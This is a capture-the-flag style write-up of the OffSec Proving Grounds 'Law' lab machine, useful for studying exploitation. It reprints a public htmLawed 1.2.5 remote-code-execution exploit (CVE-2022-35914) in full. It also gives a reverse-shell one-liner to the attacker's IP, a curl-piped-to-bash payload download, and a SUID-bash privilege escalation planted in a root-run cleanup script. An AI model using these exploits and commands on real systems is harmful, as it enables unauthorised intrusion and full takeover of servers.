writeup 2026-01-22 · 4 min read

OffSec Proving Grounds Law Writeup

Linux Proving Grounds box. htmLawed 1.2.5 CVE-2022-35914 gives a shell as www-data, and a root-run cleanup.sh owned by www-data escalates to root.

OffSec Proving Grounds Law Writeup

Summary

Law is a Linux Proving Grounds box serving the htmLawed 1.2.5 test page on port 80, which is vulnerable to CVE-2022-35914: its hhook=exec parameter passes the text field to a PHP call that runs system commands. The public exploit’s output parsing fails here, but proxying the request through Burp confirms execution, so running the exploit with a curl piped shell.sh returns a reverse shell as www-data. In /var/www a cleanup.sh script deletes the Apache logs, a directory only root can touch, so it clearly runs as a privileged user, yet the script itself is owned by www-data. Appending a chmod +s /bin/bash line and waiting for the job to fire sets the SUID bit on bash, and bash -p gives root.

Service Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.98 scan initiated Thu Jan 22 11:48:50 2026 as: nmap -A -vv -oN scans/nmap.all -p- --min-rate 2500 192.168.234.190
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNEbgprJqVJa8R95Wkbo3cemB4fdRzos+v750LtPEnRs+IJQn5jcg5l89Tx4junU+AXzLflrMVo55gbuKeNTDtFRU9ltlIu4AU+f7lRlUlvAHlNjUbU/z3WBZ5ZU9j7Xc9WKjh1Ov7chC0UnDdyr5EGrIwlLzgk8zrWx364+S4JqLtER2/n0rhVxa9RCw0tR/oL24kMep4q7rFK6dThiRtQ9nsJFhh6yw8Fmdg7r4uohqH70UJurVwVNwFqtr/86e4VSSoITlMQPZrZFVvoSsjyL8LEODt1qznoLWudMD95Eo1YFSPID5VcS0kSElfYigjSr+9bNSdlzAof1mU6xJA67BggGNu6qITWWIJySXcropehnDAt2nv4zaKAUKc/T0ij9wkIBskuXfN88cEmZbu+gObKbLgwQSRQJIpQ+B/mA8CD4AiaTmEwGSWz1dVPp5Fgb6YVy6E4oO9ASuD9Q1JWuRmnn8uiHF/nPLs2LC2+rh3nPLXlV+MG/zUfQCrdrE=
|   256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCUhhvrIBs53SApXKZYHWBlpH50KO3POt8Y+WvTvHZ5YgRagAEU5eSnGkrnziCUvDWNShFhLHI7kQv+mx+4R6Wk=
|   256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN4MSEXnpONsc0ANUT6rFQPWsoVmRW4hrpSRq++xySM9
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.56 ((Debian))
|_http-title: htmLawed (1.2.5) test
|_http-server-header: Apache/2.4.56 (Debian)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

Web Server Enumeration

The web server directs me to HTMLAWED 1.2.5 right away:

htmLawed 1.2.5 test page served on port 80

I did run a directory bruteforce scan in the background:

1
ffuf -u http://192.168.234.190/FUZZ -e .php -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words.txt -fc 403

At the same time, I did search for a exploit concerning HTMLawed 1.2.5 and found a public PoC.

Initial Access: htmlLawed 1.2.5 - Remote Code Execution (RCE)

This is how the exploit looks like from exploit-db:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# Exploit Title: htmlLawed 1.2.5 - Remote Code Execution (RCE)
# Date: 2024-04-24
# Exploit Author: Miguel Redondo (aka d4t4s3c)
# Vendor Homepage: https://www.bioinformatics.org/phplabware/internal_utilities/htmLawed
# Software Link: https://github.com/kesar/HTMLawed
# Version: <= 1.2.5
# Tested on: Linux
# CVE: CVE-2022-35914

banner(){
  echo "  ______     _______     ____   ___ ____  ____      _________  ___  _ _  _"
  echo " / ___\ \   / / ____|   |___ \ / _ \___ \|___ \    |___ / ___|/ _ \/ | || |"
  echo "| |    \ \ / /|  _| _____ __) | | | |__) | __) |____ |_ \___ \ (_) | | || |_"
  echo "| |___  \ V / | |__|_____/ __/| |_| / __/ / __/_____|__) |__) \__, | |__   _|"
  echo " \____|  \_/  |_____|   |_____|\___/_____|_____|   |____/____/  /_/|_|  |_|"
}

while getopts ":u:c:" arg; do
  case $arg in
    u) URL=$OPTARG; let parameter_counter+=1 ;;
    c) CMD=$OPTARG; let parameter_counter+=1 ;;
  esac
done


if [ -z "$URL" ] || [ -z "$CMD" ]; then
  banner
  echo -e "\n[i] Usage: ${0} -u <URL> -c <CMD>\n"
  exit
else
  banner
  echo -e "\n[+] Command output:"
fi

curl -s -d "sid=foo&hhook=exec&text=${CMD}" -b "sid=foo" ${URL} | egrep '\&nbsp; \[[0-9]+\] =\>'| sed -E 's/\&nbsp; \[[0-9]+\] =\> (.*)<br \/>/\1/'

I run it against the victim like so:

1
./exploit.sh -u http://192.168.234.190 -c id

But that yields no results back

htmLawed exploit returning no output on the first run

So I edit the curl command from the exploit to use my burpsuite proxy:

1
curl -x http://127.0.0.1:8080 -s -d "sid=foo&hhook=exec&text=${CMD}" -b "sid=foo" ${URL} | egrep '\&nbsp; \[[0-9]+\] =\>'| sed -E 's/\&nbsp; \[[0-9]+\] =\> (.*)<br \/>/\1/'

I view the request sent from the exploit to the victim, go to the Response tab and hit “Render”. As you can see from the screenshot below, the exploit works, and there is output, but it’s not being shown by the exploit:

Burp render of the response confirming the command executed despite no visible output

Prepare a python webserver

1
sudo python3 -m http.server 80

Save shell.sh:

1
sh -i >& /dev/tcp/192.168.45.205/53 0>&1

Prepare a netcat listener:

1
2
sudo su
nc -lvnp 53

Run the exploit like so:

1
./exploit.sh -u http://192.168.234.190 -c 'curl 192.168.45.205/shell.sh|bash'

This landed me a shell in the system as www-data.

Vertical Privilege Escalation

I see in /var/www a cleanup script:

1
2
3
www-data@law:/var/www$ ls -l
total 12
-rwxr-xr-x 1 www-data www-data  102 Jan 22 10:14 cleanup.sh

This is how the script looks like:

1
2
3
4
#!/bin/bash

rm -rf /var/log/apache2/error.log
rm -rf /var/log/apache2/access.log

One needs high privileges to access the folder:

1
2
3
4
www-data@law:/var/www$ ls -l /var/log/apache2/error.log
ls: cannot access '/var/log/apache2/error.log': Permission denied
www-data@law:/var/www$ ls -l /var/log/apache2/
ls: cannot open directory '/var/log/apache2/': Permission denied

So I assume this is being ran by a high-privilege user. The script is owned by www-data though:

1
2
www-data@law:/var/www$ ls -l cleanup.sh 
-rwxr-xr-x 1 www-data www-data 102 Jan 22 10:14 cleanup.sh

So I open it with a text editor and add a malicious command to it:

1
2
3
4
5
6
#!/bin/bash

chmod +s /bin/bash

rm -rf /var/log/apache2/error.log
rm -rf /var/log/apache2/access.log

I wait a minute and simply run:

1
bash -p

With that, I’m root, as you can see from the screenshot below:

bash -p root shell after the cleanup.sh job set the SUID bit

This post is licensed under CC BY 4.0 by the author.